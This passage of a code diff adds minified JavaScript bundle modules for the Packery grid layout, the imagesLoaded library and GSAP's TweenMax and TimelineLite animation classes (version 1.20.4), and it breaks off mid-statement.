+ }; + n.pack = function (e) { + for (var t = 0; t < this.spaces.length; t++) { + var i = this.spaces[t]; + if (i.canFit(e)) { + this.placeInSpace(e, i); + break + } + } + }; + n.columnPack = function (e) { + for (var t = 0; t < this.spaces.length; t++) { + var i = this.spaces[t]; + var n = i.x <= e.x && i.x + i.width >= e.x + e.width && i.height >= e.height - .01; + if (n) { + e.y = i.y; + this.placed(e); + break + } + } + }; + n.rowPack = function (e) { + for (var t = 0; t < this.spaces.length; t++) { + var i = this.spaces[t]; + var n = i.y <= e.y && i.y + i.height >= e.y + e.height && i.width >= e.width - .01; + if (n) { + e.x = i.x; + this.placed(e); + break + } + } + }; + n.placeInSpace = function (e, t) { + e.x = t.x; + e.y = t.y; + this.placed(e) + }; + n.placed = function (e) { + var t = []; + for (var i = 0; i < this.spaces.length; i++) { + var n = this.spaces[i]; + var r = n.getMaximalFreeRects(e); + if (r) { + t.push.apply(t, r) + } else { + t.push(n) + } + } + this.spaces = t; + this.mergeSortSpaces() + }; + n.mergeSortSpaces = function () { + i.mergeRects(this.spaces); + this.spaces.sort(this.sorter) + }; + n.addSpace = function (e) { + this.spaces.push(e); + this.mergeSortSpaces() + }; + i.mergeRects = function (e) { + var t = 0; + var i = e[t]; + e: while (i) { + var n = 0; + var r = e[t + n]; + while (r) { + if (r == i) { + n++ + } else if (r.contains(i)) { + e.splice(t, 1); + i = e[t]; + continue e + } else if (i.contains(r)) { + e.splice(t + n, 1) + } else { + n++ + } + r = e[t + n] + } + t++; + i = e[t] + } + return e + }; + var r = { + downwardLeftToRight: function (e, t) { + return e.y - t.y || e.x - t.x + }, + rightwardTopToBottom: function (e, t) { + return e.x - t.x || e.y - t.y + } + }; + return i + }) +}, function (e, t, i) { + var n, r, a; + (function (s, o) { + if (true) { + !(r = [i(6), i(5)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) + } else if (typeof e == "object" && e.exports) { + e.exports = o(require("outlayer"), require("./rect")) + } else { + s.Packery.Item = o(s.Outlayer, s.Packery.Rect) + } + })(window, function e(t, i) { + "use strict"; + var n = document.documentElement.style; + var r = typeof n.transform == "string" ? "transform" : "WebkitTransform"; + var a = function e() { + t.Item.apply(this, arguments) + }; + var s = a.prototype = Object.create(t.Item.prototype); + var o = s._create; + s._create = function () { + o.call(this); + this.rect = new i + }; + var l = s.moveTo; + s.moveTo = function (e, t) { + var i = Math.abs(this.position.x - e); + var n = Math.abs(this.position.y - t); + var r = this.layout.dragItemCount && !this.isPlacing && !this.isTransitioning && i < 1 && n < 1; + if (r) { + this.goTo(e, t); + return + } + l.apply(this, arguments) + }; + s.enablePlacing = function () { + this.removeTransitionStyles(); + if (this.isTransitioning && r) { + this.element.style[r] = "none" + } + this.isTransitioning = false; + this.getSize(); + this.layout._setRectSize(this.element, this.rect); + this.isPlacing = true + }; + s.disablePlacing = function () { + this.isPlacing = false + }; + s.removeElem = function () { + var e = this.element.parentNode; + if (e) { + e.removeChild(this.element) + } + this.layout.packer.addSpace(this.rect); + this.emitEvent("remove", [this]) + }; + s.showDropPlaceholder = function () { + var e = this.dropPlaceholder; + if (!e) { + e = this.dropPlaceholder = document.createElement("div"); + e.className = "packery-drop-placeholder"; + e.style.position = "absolute" + } + e.style.width = this.size.width + "px"; + e.style.height = this.size.height + "px"; + this.positionDropPlaceholder(); + this.layout.element.appendChild(e) + }; + s.positionDropPlaceholder = function () { + this.dropPlaceholder.style[r] = "translate(" + this.rect.x + "px, " + this.rect.y + "px)" + }; + s.hideDropPlaceholder = function () { + var e = this.dropPlaceholder.parentNode; + if (e) { + e.removeChild(this.dropPlaceholder) + } + }; + return a + }) +}, function (e, t, i) { + var n, r; + (function (a, s) { + "use strict"; + if (true) { + !(n = [i(4)], r = function (e) { + return s(a, e) + }.apply(t, n), r !== undefined && (e.exports = r)) + } else if (typeof e == "object" && e.exports) { + e.exports = s(a, require("ev-emitter")) + } else { + a.imagesLoaded = s(a, a.EvEmitter) + } + })(typeof window !== "undefined" ? window : this, function e(t, i) { + "use strict"; + var n = t.jQuery; + var r = t.console; + + function a(e, t) { + for (var i in t) { + e[i] = t[i] + } + return e + } + var s = Array.prototype.slice; + + function o(e) { + if (Array.isArray(e)) { + return e + } + var t = typeof e == "object" && typeof e.length == "number"; + if (t) { + return s.call(e) + } + return [e] + } + + function l(e, t, i) { + if (!(this instanceof l)) { + return new l(e, t, i) + } + var s = e; + if (typeof e == "string") { + s = document.querySelectorAll(e) + } + if (!s) { + r.error("Bad element for imagesLoaded " + (s || e)); + return + } + this.elements = o(s); + this.options = a({}, this.options); + if (typeof t == "function") { + i = t + } else { + a(this.options, t) + } + if (i) { + this.on("always", i) + } + this.getImages(); + if (n) { + this.jqDeferred = new n.Deferred + } + setTimeout(this.check.bind(this)) + } + l.prototype = Object.create(i.prototype); + l.prototype.options = {}; + l.prototype.getImages = function () { + this.images = []; + this.elements.forEach(this.addElementImages, this) + }; + l.prototype.addElementImages = function (e) { + if (e.nodeName == "IMG") { + this.addImage(e) + } + if (this.options.background === true) { + this.addElementBackgroundImages(e) + } + var t = e.nodeType; + if (!t || !u[t]) { + return + } + var i = e.querySelectorAll("img"); + for (var n = 0; n < i.length; n++) { + var r = i[n]; + this.addImage(r) + } + if (typeof this.options.background == "string") { + var a = e.querySelectorAll(this.options.background); + for (n = 0; n < a.length; n++) { + var s = a[n]; + this.addElementBackgroundImages(s) + } + } + }; + var u = { + 1: true, + 9: true, + 11: true + }; + l.prototype.addElementBackgroundImages = function (e) { + var t = getComputedStyle(e); + if (!t) { + return + } + var i = /url\((['"])?(.*?)\1\)/gi; + var n = i.exec(t.backgroundImage); + while (n !== null) { + var r = n && n[2]; + if (r) { + this.addBackground(r, e) + } + n = i.exec(t.backgroundImage) + } + }; + l.prototype.addImage = function (e) { + var t = new d(e); + this.images.push(t) + }; + l.prototype.addBackground = function (e, t) { + var i = new f(e, t); + this.images.push(i) + }; + l.prototype.check = function () { + var e = this; + this.progressedCount = 0; + this.hasAnyBroken = false; + if (!this.images.length) { + this.complete(); + return + } + + function t(t, i, n) { + setTimeout(function () { + e.progress(t, i, n) + }) + } + this.images.forEach(function (e) { + e.once("progress", t); + e.check() + }) + }; + l.prototype.progress = function (e, t, i) { + this.progressedCount++; + this.hasAnyBroken = this.hasAnyBroken || !e.isLoaded; + this.emitEvent("progress", [this, e, t]); + if (this.jqDeferred && this.jqDeferred.notify) { + this.jqDeferred.notify(this, e) + } + if (this.progressedCount == this.images.length) { + this.complete() + } + if (this.options.debug && r) { + r.log("progress: " + i, e, t) + } + }; + l.prototype.complete = function () { + var e = this.hasAnyBroken ? "fail" : "done"; + this.isComplete = true; + this.emitEvent(e, [this]); + this.emitEvent("always", [this]); + if (this.jqDeferred) { + var t = this.hasAnyBroken ? "reject" : "resolve"; + this.jqDeferred[t](this) + } + }; + + function d(e) { + this.img = e + } + d.prototype = Object.create(i.prototype); + d.prototype.check = function () { + var e = this.getIsImageComplete(); + if (e) { + this.confirm(this.img.naturalWidth !== 0, "naturalWidth"); + return + } + this.proxyImage = new Image; + this.proxyImage.addEventListener("load", this); + this.proxyImage.addEventListener("error", this); + this.img.addEventListener("load", this); + this.img.addEventListener("error", this); + this.proxyImage.src = this.img.src + }; + d.prototype.getIsImageComplete = function () { + return this.img.complete && this.img.naturalWidth + }; + d.prototype.confirm = function (e, t) { + this.isLoaded = e; + this.emitEvent("progress", [this, this.img, t]) + }; + d.prototype.handleEvent = function (e) { + var t = "on" + e.type; + if (this[t]) { + this[t](e) + } + }; + d.prototype.onload = function () { + this.confirm(true, "onload"); + this.unbindEvents() + }; + d.prototype.onerror = function () { + this.confirm(false, "onerror"); + this.unbindEvents() + }; + d.prototype.unbindEvents = function () { + this.proxyImage.removeEventListener("load", this); + this.proxyImage.removeEventListener("error", this); + this.img.removeEventListener("load", this); + this.img.removeEventListener("error", this) + }; + + function f(e, t) { + this.url = e; + this.element = t; + this.img = new Image + } + f.prototype = Object.create(d.prototype); + f.prototype.check = function () { + this.img.addEventListener("load", this); + this.img.addEventListener("error", this); + this.img.src = this.url; + var e = this.getIsImageComplete(); + if (e) { + this.confirm(this.img.naturalWidth !== 0, "naturalWidth"); + this.unbindEvents() + } + }; + f.prototype.unbindEvents = function () { + this.img.removeEventListener("load", this); + this.img.removeEventListener("error", this) + }; + f.prototype.confirm = function (e, t) { + this.isLoaded = e; + this.emitEvent("progress", [this, this.element, t]) + }; + l.makeJQueryPlugin = function (e) { + e = e || t.jQuery; + if (!e) { + return + } + n = e; + n.fn.imagesLoaded = function (e, t) { + var i = new l(this, e, t); + return i.jqDeferred.promise(n(this)) + } + }; + l.makeJQueryPlugin(); + return l + }) +}, function (e, t, i) { + (function (i) { + var n, r; + var a = typeof e !== "undefined" && e.exports && typeof i !== "undefined" ? i : this || window; + (a._gsQueue || (a._gsQueue = [])).push(function () { + "use strict"; + a._gsDefine("TweenMax", ["core.Animation", "core.SimpleTimeline", "TweenLite"], function (e, t, i) { + var n = function (e) { + var t = [], + i = e.length, + n; + for (n = 0; n !== i; t.push(e[n++])); + return t + }, + r = function (e, t, i) { + var n = e.cycle, + r, a; + for (r in n) { + a = n[r]; + e[r] = typeof a === "function" ? a(i, t[i]) : a[i % a.length] + } + delete e.cycle + }, + a = function (e, t, n) { + i.call(this, e, t, n); + this._cycle = 0; + this._yoyo = this.vars.yoyo === true || !!this.vars.yoyoEase; + this._repeat = this.vars.repeat || 0; + this._repeatDelay = this.vars.repeatDelay || 0; + if (this._repeat) { + this._uncache(true) + } + this.render = a.prototype.render + }, + s = 1e-10, + o = i._internals, + l = o.isSelector, + u = o.isArray, + d = a.prototype = i.to({}, .1, {}), + f = []; + a.version = "1.20.4"; + d.constructor = a; + d.kill()._gc = false; + a.killTweensOf = a.killDelayedCallsTo = i.killTweensOf; + a.getTweensOf = i.getTweensOf; + a.lagSmoothing = i.lagSmoothing; + a.ticker = i.ticker; + a.render = i.render; + d.invalidate = function () { + this._yoyo = this.vars.yoyo === true || !!this.vars.yoyoEase; + this._repeat = this.vars.repeat || 0; + this._repeatDelay = this.vars.repeatDelay || 0; + this._yoyoEase = null; + this._uncache(true); + return i.prototype.invalidate.call(this) + }; + d.updateTo = function (e, t) { + var n = this.ratio, + r = this.vars.immediateRender || e.immediateRender, + a; + if (t && this._startTime < this._timeline._time) { + this._startTime = this._timeline._time; + this._uncache(false); + if (this._gc) { + this._enabled(true, false) + } else { + this._timeline.insert(this, this._startTime - this._delay) + } + } + for (a in e) { + this.vars[a] = e[a] + } + if (this._initted || r) { + if (t) { + this._initted = false; + if (r) { + this.render(0, true, true) + } + } else { + if (this._gc) { + this._enabled(true, false) + } + if (this._notifyPluginsOfEnabled && this._firstPT) { + i._onPluginEvent("_onDisable", this) + } + if (this._time / this._duration > .998) { + var s = this._totalTime; + this.render(0, true, false); + this._initted = false; + this.render(s, true, false) + } else { + this._initted = false; + this._init(); + if (this._time > 0 || r) { + var o = 1 / (1 - n), + l = this._firstPT, + u; + while (l) { + u = l.s + l.c; + l.c *= o; + l.s = u - l.c; + l = l._next + } + } + } + } + } + return this + }; + d.render = function (e, t, n) { + if (!this._initted) + if (this._duration === 0 && this.vars.repeat) { + this.invalidate() + } + var r = !this._dirty ? this._totalDuration : this.totalDuration(), + a = this._time, + l = this._totalTime, + u = this._cycle, + d = this._duration, + f = this._rawPrevTime, + c, h, m, p, v, _, g, y, b; + if (e >= r - 1e-7 && e >= 0) { + this._totalTime = r; + this._cycle = this._repeat; + if (this._yoyo && (this._cycle & 1) !== 0) { + this._time = 0; + this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0 + } else { + this._time = d; + this.ratio = this._ease._calcEnd ? this._ease.getRatio(1) : 1 + } + if (!this._reversed) { + c = true; + h = "onComplete"; + n = n || this._timeline.autoRemoveChildren + } + if (d === 0) + if (this._initted || !this.vars.lazy || n) { + if (this._startTime === this._timeline._duration) { + e = 0 + } + if (f < 0 || e <= 0 && e >= -1e-7 || f === s && this.data !== "isPause") + if (f !== e) { + n = true; + if (f > s) { + h = "onReverseComplete" + } + } + this._rawPrevTime = y = !t || e || f === e ? e : s + } + } else if (e < 1e-7) { + this._totalTime = this._time = this._cycle = 0; + this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0; + if (l !== 0 || d === 0 && f > 0) { + h = "onReverseComplete"; + c = this._reversed + } + if (e < 0) { + this._active = false; + if (d === 0) + if (this._initted || !this.vars.lazy || n) { + if (f >= 0) { + n = true + } + this._rawPrevTime = y = !t || e || f === e ? e : s + } + } + if (!this._initted) { + n = true + } + } else { + this._totalTime = this._time = e; + if (this._repeat !== 0) { + p = d + this._repeatDelay; + this._cycle = this._totalTime / p >> 0; + if (this._cycle !== 0) + if (this._cycle === this._totalTime / p && l <= e) { + this._cycle-- + } + this._time = this._totalTime - this._cycle * p; + if (this._yoyo) + if ((this._cycle & 1) !== 0) { + this._time = d - this._time; + b = this._yoyoEase || this.vars.yoyoEase; + if (b) { + if (!this._yoyoEase) { + if (b === true && !this._initted) { + b = this.vars.ease; + this._yoyoEase = b = !b ? i.defaultEase : b instanceof Ease ? b : typeof b === "function" ? new Ease(b, this.vars.easeParams) : Ease.map[b] || i.defaultEase + } else { + this._yoyoEase = b = b === true ? this._ease : b instanceof Ease ? b : Ease.map[b] + } + } + this.ratio = b ? 1 - b.getRatio((d - this._time) / d) : 0 + } + } + if (this._time > d) { + this._time = d + } else if (this._time < 0) { + this._time = 0 + } + } + if (this._easeType && !b) { + v = this._time / d; + _ = this._easeType; + g = this._easePower; + if (_ === 1 || _ === 3 && v >= .5) { + v = 1 - v + } + if (_ === 3) { + v *= 2 + } + if (g === 1) { + v *= v + } else if (g === 2) { + v *= v * v + } else if (g === 3) { + v *= v * v * v + } else if (g === 4) { + v *= v * v * v * v + } + if (_ === 1) { + this.ratio = 1 - v + } else if (_ === 2) { + this.ratio = v + } else if (this._time / d < .5) { + this.ratio = v / 2 + } else { + this.ratio = 1 - v / 2 + } + } else if (!b) { + this.ratio = this._ease.getRatio(this._time / d) + } + } + if (a === this._time && !n && u === this._cycle) { + if (l !== this._totalTime) + if (this._onUpdate) + if (!t) { + this._callback("onUpdate") + } + return + } else if (!this._initted) { + this._init(); + if (!this._initted || this._gc) { + return + } else if (!n && this._firstPT && (this.vars.lazy !== false && this._duration || this.vars.lazy && !this._duration)) { + this._time = a; + this._totalTime = l; + this._rawPrevTime = f; + this._cycle = u; + o.lazyTweens.push(this); + this._lazy = [e, t]; + return + } + if (this._time && !c && !b) { + this.ratio = this._ease.getRatio(this._time / d) + } else if (c && this._ease._calcEnd && !b) { + this.ratio = this._ease.getRatio(this._time === 0 ? 0 : 1) + } + } + if (this._lazy !== false) { + this._lazy = false + } + if (!this._active) + if (!this._paused && this._time !== a && e >= 0) { + this._active = true + } + if (l === 0) { + if (this._initted === 2 && e > 0) { + this._init() + } + if (this._startAt) { + if (e >= 0) { + this._startAt.render(e, true, n) + } else if (!h) { + h = "_dummyGS" + } + } + if (this.vars.onStart) + if (this._totalTime !== 0 || d === 0) + if (!t) { + this._callback("onStart") + } + } + m = this._firstPT; + while (m) { + if (m.f) { + m.t[m.p](m.c * this.ratio + m.s) + } else { + m.t[m.p] = m.c * this.ratio + m.s + } + m = m._next + } + if (this._onUpdate) { + if (e < 0) + if (this._startAt && this._startTime) { + this._startAt.render(e, true, n) + } + if (!t) + if (this._totalTime !== l || h) { + this._callback("onUpdate") + } + } + if (this._cycle !== u) + if (!t) + if (!this._gc) + if (this.vars.onRepeat) { + this._callback("onRepeat") + } + if (h) + if (!this._gc || n) { + if (e < 0 && this._startAt && !this._onUpdate && this._startTime) { + this._startAt.render(e, true, n) + } + if (c) { + if (this._timeline.autoRemoveChildren) { + this._enabled(false, false) + } + this._active = false + } + if (!t && this.vars[h]) { + this._callback(h) + } + if (d === 0 && this._rawPrevTime === s && y !== s) { + this._rawPrevTime = 0 + } + } + }; + a.to = function (e, t, i) { + return new a(e, t, i) + }; + a.from = function (e, t, i) { + i.runBackwards = true; + i.immediateRender = i.immediateRender != false; + return new a(e, t, i) + }; + a.fromTo = function (e, t, i, n) { + n.startAt = i; + n.immediateRender = n.immediateRender != false && i.immediateRender != false; + return new a(e, t, n) + }; + a.staggerTo = a.allTo = function (e, t, s, o, d, c, h) { + o = o || 0; + var m = 0, + p = [], + v = function () { + if (s.onComplete) { + s.onComplete.apply(s.onCompleteScope || this, arguments) + } + d.apply(h || s.callbackScope || this, c || f) + }, + _ = s.cycle, + g = s.startAt && s.startAt.cycle, + y, b, w, M; + if (!u(e)) { + if (typeof e === "string") { + e = i.selector(e) || e + } + if (l(e)) { + e = n(e) + } + } + e = e || []; + if (o < 0) { + e = n(e); + e.reverse(); + o *= -1 + } + y = e.length - 1; + for (w = 0; w <= y; w++) { + b = {}; + for (M in s) { + b[M] = s[M] + } + if (_) { + r(b, e, w); + if (b.duration != null) { + t = b.duration; + delete b.duration + } + } + if (g) { + g = b.startAt = {}; + for (M in s.startAt) { + g[M] = s.startAt[M] + } + r(b.startAt, e, w) + } + b.delay = m + (b.delay || 0); + if (w === y && d) { + b.onComplete = v + } + p[w] = new a(e[w], t, b); + m += o + } + return p + }; + a.staggerFrom = a.allFrom = function (e, t, i, n, r, s, o) { + i.runBackwards = true; + i.immediateRender = i.immediateRender != false; + return a.staggerTo(e, t, i, n, r, s, o) + }; + a.staggerFromTo = a.allFromTo = function (e, t, i, n, r, s, o, l) { + n.startAt = i; + n.immediateRender = n.immediateRender != false && i.immediateRender != false; + return a.staggerTo(e, t, n, r, s, o, l) + }; + a.delayedCall = function (e, t, i, n, r) { + return new a(t, 0, { + delay: e, + onComplete: t, + onCompleteParams: i, + callbackScope: n, + onReverseComplete: t, + onReverseCompleteParams: i, + immediateRender: false, + useFrames: r, + overwrite: 0 + }) + }; + a.set = function (e, t) { + return new a(e, 0, t) + }; + a.isTweening = function (e) { + return i.getTweensOf(e, true).length > 0 + }; + var c = function (e, t) { + var n = [], + r = 0, + a = e._first; + while (a) { + if (a instanceof i) { + n[r++] = a + } else { + if (t) { + n[r++] = a + } + n = n.concat(c(a, t)); + r = n.length + } + a = a._next + } + return n + }, + h = a.getAllTweens = function (t) { + return c(e._rootTimeline, t).concat(c(e._rootFramesTimeline, t)) + }; + a.killAll = function (e, i, n, r) { + if (i == null) { + i = true + } + if (n == null) { + n = true + } + var a = h(r != false), + s = a.length, + o = i && n && r, + l, u, d; + for (d = 0; d < s; d++) { + u = a[d]; + if (o || u instanceof t || (l = u.target === u.vars.onComplete) && n || i && !l) { + if (e) { + u.totalTime(u._reversed ? 0 : u.totalDuration()) + } else { + u._enabled(false, false) + } + } + } + }; + a.killChildTweensOf = function (e, t) { + if (e == null) { + return + } + var r = o.tweenLookup, + s, d, f, c, h; + if (typeof e === "string") { + e = i.selector(e) || e + } + if (l(e)) { + e = n(e) + } + if (u(e)) { + c = e.length; + while (--c > -1) { + a.killChildTweensOf(e[c], t) + } + return + } + s = []; + for (f in r) { + d = r[f].target.parentNode; + while (d) { + if (d === e) { + s = s.concat(r[f].tweens) + } + d = d.parentNode + } + } + h = s.length; + for (c = 0; c < h; c++) { + if (t) { + s[c].totalTime(s[c].totalDuration()) + } + s[c]._enabled(false, false) + } + }; + var m = function (e, i, n, r) { + i = i !== false; + n = n !== false; + r = r !== false; + var a = h(r), + s = i && n && r, + o = a.length, + l, u; + while (--o > -1) { + u = a[o]; + if (s || u instanceof t || (l = u.target === u.vars.onComplete) && n || i && !l) { + u.paused(e) + } + } + }; + a.pauseAll = function (e, t, i) { + m(true, e, t, i) + }; + a.resumeAll = function (e, t, i) { + m(false, e, t, i) + }; + a.globalTimeScale = function (t) { + var n = e._rootTimeline, + r = i.ticker.time; + if (!arguments.length) { + return n._timeScale + } + t = t || s; + n._startTime = r - (r - n._startTime) * n._timeScale / t; + n = e._rootFramesTimeline; + r = i.ticker.frame; + n._startTime = r - (r - n._startTime) * n._timeScale / t; + n._timeScale = e._rootTimeline._timeScale = t; + return t + }; + d.progress = function (e, t) { + return !arguments.length ? this._time / this.duration() : this.totalTime(this.duration() * (this._yoyo && (this._cycle & 1) !== 0 ? 1 - e : e) + this._cycle * (this._duration + this._repeatDelay), t) + }; + d.totalProgress = function (e, t) { + return !arguments.length ? this._totalTime / this.totalDuration() : this.totalTime(this.totalDuration() * e, t) + }; + d.time = function (e, t) { + if (!arguments.length) { + return this._time + } + if (this._dirty) { + this.totalDuration() + } + if (e > this._duration) { + e = this._duration + } + if (this._yoyo && (this._cycle & 1) !== 0) { + e = this._duration - e + this._cycle * (this._duration + this._repeatDelay) + } else if (this._repeat !== 0) { + e += this._cycle * (this._duration + this._repeatDelay) + } + return this.totalTime(e, t) + }; + d.duration = function (t) { + if (!arguments.length) { + return this._duration + } + return e.prototype.duration.call(this, t) + }; + d.totalDuration = function (e) { + if (!arguments.length) { + if (this._dirty) { + this._totalDuration = this._repeat === -1 ? 999999999999 : this._duration * (this._repeat + 1) + this._repeatDelay * this._repeat; + this._dirty = false + } + return this._totalDuration + } + return this._repeat === -1 ? this : this.duration((e - this._repeat * this._repeatDelay) / (this._repeat + 1)) + }; + d.repeat = function (e) { + if (!arguments.length) { + return this._repeat + } + this._repeat = e; + return this._uncache(true) + }; + d.repeatDelay = function (e) { + if (!arguments.length) { + return this._repeatDelay + } + this._repeatDelay = e; + return this._uncache(true) + }; + d.yoyo = function (e) { + if (!arguments.length) { + return this._yoyo + } + this._yoyo = e; + return this + }; + return a + }, true); + a._gsDefine("TimelineLite", ["core.Animation", "core.SimpleTimeline", "TweenLite"], function (e, t, i) { + var n = function (e) { + t.call(this, e); + this._labels = {}; + this.autoRemoveChildren = this.vars.autoRemoveChildren === true; + this.smoothChildTiming = this.vars.smoothChildTiming === true; + this._sortChildren = true; + this._onUpdate = this.vars.onUpdate; + var i = this.vars, + n, r; + for (r in i) { + n = i[r]; + if (u(n)) + if (n.join("").indexOf("{self}") !== -1) { + i[r] = this._swapSelfInParams(n) + } + } + if (u(i.tweens)) { + this.add(i.tweens, 0, i.align, i.stagger) + } + }, + r = 1e-10, + s = i._internals, + o = n._internals = {}, + l = s.isSelector, + u = s.isArray, + d = s.lazyTweens, + f = s.lazyRender, + c = a._gsDefine.globals, + h = function (e) { + var t = {}, + i; + for (i in e) { + t[i] = e[i] + } + return t + }, + m = function (e, t, i) { + var n = e.cycle, + r, a; + for (r in n) { + a = n[r]; + e[r] = typeof a === "function" ? a(i, t[i]) : a[i % a.length] + } + delete e.cycle + }, + p = o.pauseCallback = function () {}, + v = function (e) { + var t = [], + i = e.length, + n; + for (n = 0; n !== i; t.push(e[n++])); + return t + }, + _ = n.prototype = new t; + n.version = "1.20.4"; + _.constructor = n; + _.kill()._gc = _._forcingPlayhead = _._hasPause = false; + _.to = function (e, t, n, r) { + var a = n.repeat && c.TweenMax || i; + return t ? this.add(new a(e, t, n), r) : this.set(e, n, r) + }; + _.from = function (e, t, n, r) { + return this.add((n.repeat && c.TweenMax || i).from(e, t, n), r) + }; + _.fromTo = function (e, t, n, r, a) { + var s = r.repeat && c.TweenMax || i; + return t ? this.add(s.fromTo(e, t, n, r), a) : this.set(e, r, a) + }; + _.staggerTo = function (e, t, r, a, s, o, u, d) { + var f = new n({ + onComplete: o, + onCompleteParams: u, + callbackScope: d, + smoothChildTiming: this.smoothChildTiming + }), + c = r.cycle, + p, _; + if (typeof e === "string") { + e = i.selector(e) || e + } + e = e || []; + if (l(e)) { + e = v(e) + } + a = a || 0; + if (a < 0) { + e = v(e); + e.reverse(); + a *= -1 + } + for (_ = 0; _ < e.length; _++) { + p = h(r); + if (p.startAt) { + p.startAt = h(p.startAt); + if (p.startAt.cycle) { + m(p.startAt, e, _) + } + } + if (c) { + m(p, e, _); + if (p.duration != null) { + t = p.duration; + delete p.duration + } + } + f.to(e[_], t, p, _ * a) + } + return this.add(f, s) + }; + _.staggerFrom = function (e, t, i, n, r, a, s, o) { + i.immediateRender = i.immediateRender != false; + i.runBackwards = true; + return this.staggerTo(e, t, i, n, r, a, s, o) + }; + _.staggerFromTo = function (e, t, i, n, r, a, s, o, l) { + n.startAt = i; + n.immediateRender = n.immediateRender != false && i.immediateRender != false; + return this.staggerTo(e, t, n, r, a, s, o, l) + }; + _.call = function (e, t, n, r) { + return this.add(i.delayedCall(0, e, t, n), r) + }; + _.set = function (e, t, n) { + n = this._parseTimeOrLabel(n, 0, true); + if (t.immediateRender == null) { + t.immediateRender = n === this._time && !this._paused + } + return this.add(new i(e, 0, t), n) + }; + n.exportRoot = function (e, t) { + e = e || {}; + if (e.smoothChildTiming == null) { + e.smoothChildTiming = true + } + var r = new n(e), + a = r._timeline, + s, o, l, u; + if (t == null) { + t = true + } + a._remove(r, true); + r._startTime = 0; + r._rawPrevTime = r._time = r._totalTime = a._time; + l = a._first; + while (l) { + u = l._next; + if (!t || !(l instanceof i && l.target === l.vars.onComplete)) { + o = l._startTime - l._delay; + if (o < 0) { + s = 1 + } + r.add(l, o) + } + l = u + } + a.add(r, 0); + if (s) { + r.totalDuration() + } + return r + }; + _.add = function (r, a, s, o) { + var l, d, f, c, h, m; + if (typeof a !== "number") { + a = this._parseTimeOrLabel(a, 0, true, r) + } + if (!(r instanceof e)) { + if (r instanceof Array || r && r.push && u(r)) { + s = s || "normal"; + o = o || 0; + l = a; + d = r.length; + for (f = 0; f < d; f++) { + if (u(c = r[f])) { + c = new n({ + tweens: c + }) + } + this.add(c, l); + if (typeof c !== "string" && typeof c !== "function") { + if (s === "sequence") { + l = c._startTime + c.totalDuration() / c._timeScale + } else if (s === "start") { + c._startTime -= c.delay() + } + } + l += o + } + return this._uncache(true) + } else if (typeof r === "string") { + return this.addLabel(r, a) + } else if (typeof r === "function") { + r = i.delayedCall(0, r) + } else { + throw "Cannot add " + r + " into the timeline; it is not a tween, timeline, function, or string." + } + } + t.prototype.add.call(this, r, a); + if (r._time) { + r.render((this.rawTime() - r._startTime) * r._timeScale, false, false) + } + if (this._gc || this._time === this._duration) + if (!this._paused) + if (this._duration < this.duration()) { + h = this; + m = h.rawTime() > r._startTime; + while (h._timeline) { + if (m && h._timeline.smoothChildTiming) { + h.totalTime(h._totalTime, true) + } else if (h._gc) { + h._enabled(true, false) + } + h = h._timeline + } + } + return this + }; + _.remove = function (t) { + if (t instanceof e) { + this._remove(t, false); + var i = t._timeline = t.vars.useFrames ? e._rootFramesTimeline : e._rootTimeline; + t._startTime = (t._paused ? t._pauseTime : i._time) - (!t._reversed ? t._totalTime : t.totalDuration() - t._totalTime) / t._timeScale; + return this + } else if (t instanceof Array || t && t.push && u(t)) { + var n = t.length; + while (--n > -1) { + this.remove(t[n]) + } + return this + } else if (typeof t === "string") { + return this.removeLabel(t) + } + return this.kill(null, t) + }; + _._remove = function (e, i) { + t.prototype._remove.call(this, e, i); + var n = this._last; + if (!n) { + this._time = this._totalTime = this._duration = this._totalDuration = 0 + } else if (this._time > this.duration()) { + this._time = this._duration; + this._totalTime = this._totalDuration + } + return this + }; + _.append = function (e, t) { + return this.add(e, this._parseTimeOrLabel(null, t, true, e)) + }; + _.insert = _.insertMultiple = function (e, t, i, n) { + return this.add(e, t || 0, i, n) + }; + _.appendMultiple = function (e, t, i, n) { + return this.add(e, this._parseTimeOrLabel(null, t, true, e), i, n) + }; + _.addLabel = function (e, t) { + this._labels[e] = this._parseTimeOrLabel(t); + return this + }; + _.addPause = function (e, t, n, r) { + var a = i.delayedCall(0, p, n, r || this); + a.vars.onComplete = a.vars.onReverseComplete = t; + a.data = "isPause"; + this._hasPause = true; + return this.add(a, e) + }; + _.removeLabel = function (e) { + delete this._labels[e]; + return this + }; + _.getLabelTime = function (e) { + return this._labels[e] != null ? this._labels[e] : -1 + }; + _._parseTimeOrLabel = function (t, i, n, r) { + var a, s; + if (r instanceof e && r.timeline === this) { + this.remove(r) + } else if (r && (r instanceof Array || r.push && u(r))) { + s = r.length; + while (--s > -1) { + if (r[s] instanceof e && r[s].timeline === this) { + this.remove(r[s]) + } + } + } + a = typeof t === "number" && !i ? 0 : this.duration() > 99999999999 ? this.recent().endTime(false) : this._duration; + if (typeof i === "string") { + return this._parseTimeOrLabel(i, n && typeof t === "number" && this._labels[i] == null ? t - a : 0, n) + } + i = i || 0; + if (typeof t === "string" && (isNaN(t) || this._labels[t] != null)) { + s = t.indexOf("="); + if (s === -1) { + if (this._labels[t] == null) { + return n ? this._labels[t] = a + i : i + } + return this._labels[t] + i + } + i = parseInt(t.charAt(s - 1) + "1", 10) * Number(t.substr(s + 1)); + t = s > 1 ? this._parseTimeOrLabel(t.substr(0, s - 1), 0, n) : a + } else if (t == null) { + t = a + } + return Number(t) + i + }; + _.seek = function (e, t) { + return this.totalTime(typeof e === "number" ? e : this._parseTimeOrLabel(e), t !== false) + }; + _.stop = function () { + return this.paused(true) + }; + _.gotoAndPlay = function (e, t) { + return this.play(e, t) + }; + _.gotoAndStop = function (e, t) { + return this.pause(e, t) + }; + _.render = function (e, t, i) { + if (this._gc) { + this._enabled(true, false) + } + var n = this._time, + a = !this._dirty ? this._totalDuration : this.totalDuration(), + s = this._startTime, + o = this._timeScale, + l = this._paused, + u, c, h, m, p, v, _; + if (n !== this._time) { + e += this._time - n + } + if (e >= a - 1e-7 && e >= 0) { + this._totalTime = this._time = a; + if (!this._reversed) + if (!this._hasPausedChild()) { + c = true; + m = "onComplete"; + p = !!this._timeline.autoRemoveChildren; + if (this._duration === 0) + if (e <= 0 && e >= -1e-7 || this._rawPrevTime < 0 || this._rawPrevTime === r) + if (this._rawPrevTime !== e && this._first) { + p = true; + if (this._rawPrevTime > r) { + m = "onReverseComplete" + } + } + } + this._rawPrevTime = this._duration || !t || e || 